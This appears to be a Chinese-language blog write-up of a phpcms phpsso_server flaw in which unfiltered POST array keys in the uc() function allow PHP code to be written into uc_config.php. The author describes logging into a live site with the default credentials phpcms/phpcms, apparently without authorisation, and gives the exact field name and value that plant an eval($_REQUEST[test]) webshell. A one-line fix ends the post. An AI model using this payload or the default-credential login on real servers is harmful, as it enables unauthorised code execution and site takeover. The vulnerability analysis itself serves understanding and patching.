0x01背景

前几天瞎逛,碰到个phpcms,默认用户名密码都改了,试了试phpsso_server,phpcms + phpcms就上去了。。。
在网上还真找到一个利用方法

意外顺利的getshell,然而人家常备百度卫士,连cmd都不能执行。。。。
感觉这个漏洞没有文章说的那么鸡肋(两次登录),直接登录phpsso_server就好了,而且人们对于phpsso_server也不太重视,很容易使用弱口令,所以杀伤力还是很大的。

0x02漏洞分析

问题出现在ROOTDIR/phpsso_server/phpcms/modules/admin/system.php的uc函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function uc() {
if (isset($_POST['dosubmit'])) {
$data = isset($_POST['data']) ? $_POST['data'] : '';
$data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
$filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
$config = include $filepath;
$uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}
$html = file_get_contents($filepath);
$html = str_replace($old, $new, $html);
$uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
@file_put_contents($uc_config_filepath, $uc_config);
@file_put_contents($filepath, $html);
$this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
showmessage(L('operation_success'), HTTP_REFERER);
}
$data = array();
$r = $this->db->get_one(array('name'=>'ucenter'));
if ($r) {
$data = string2array($r['data']);
}
include $this->admin_tpl('system_uc');
}

这里这段代码将data变量遍历

1
2
3
4
5
foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}

$uc_config拼接完毕后写入到ROOTDIR/phpsso_server/caches/configs/uc_config.php中,这段没做任何的过滤,那前面$data是通过$_POST接受过来的,有没有经过过滤呢?
ROOTDIR/phpcms/libs/classes/param.class.php

1
2
3
4
5
6
7
8
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
/*...省略...*/

继续跟踪new_addslashes函数,到ROOTDIR/phpcms/libs/functions/global.func.php

1
2
3
4
5
6
7
function new_addslashes($string){
if(!is_array($string))
return addslashes($string);
foreach($string as $key => $val)
$string[$key] = new_addslashes($val);
return $string;
}

这里仅仅是将数组的value用addslashes(过滤单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。)过滤了一下,对key没有作任何处理,所以上面$data数组的key是可控的,我们可以根据这一点构造并getshell。

0x03漏洞证明

登录phpsso_server,在系统设置处的Ucenter api 地址随意输入然后抓包,可以看到数据是以数组的形式提交的。
QQ截图20170126205412.jpg
再看一眼ROOTDIR/phpsso_server/caches/configs/uc_config.php

1
2
3
4
<?php 
define('UC_CONNECT', 'mysql');
define('UC_API', 'http://localhost/comsenz/uc');
......

这里利用key未被过滤,插入单引号将define结束,并在后面插入我们的一句话,所以我们将Ucenter api 地址输入框的

1
name改为 data[uc_api','11');/*]
1
然后输入 */eval($_REQUEST[test]);//。

QQ截图20170126175629.jpg

QQ截图20170126175657.jpg

此时uc_config.php变为
QQ截图20170126210836.jpg
成功插入一句话
批量利用的可能性不太大,毕竟要进后台,就不写py了。。。。。

0x04漏洞修复

在拼接$uc_config时对$k进行过滤

ps:5个分类终于都有文章了,233333333333333333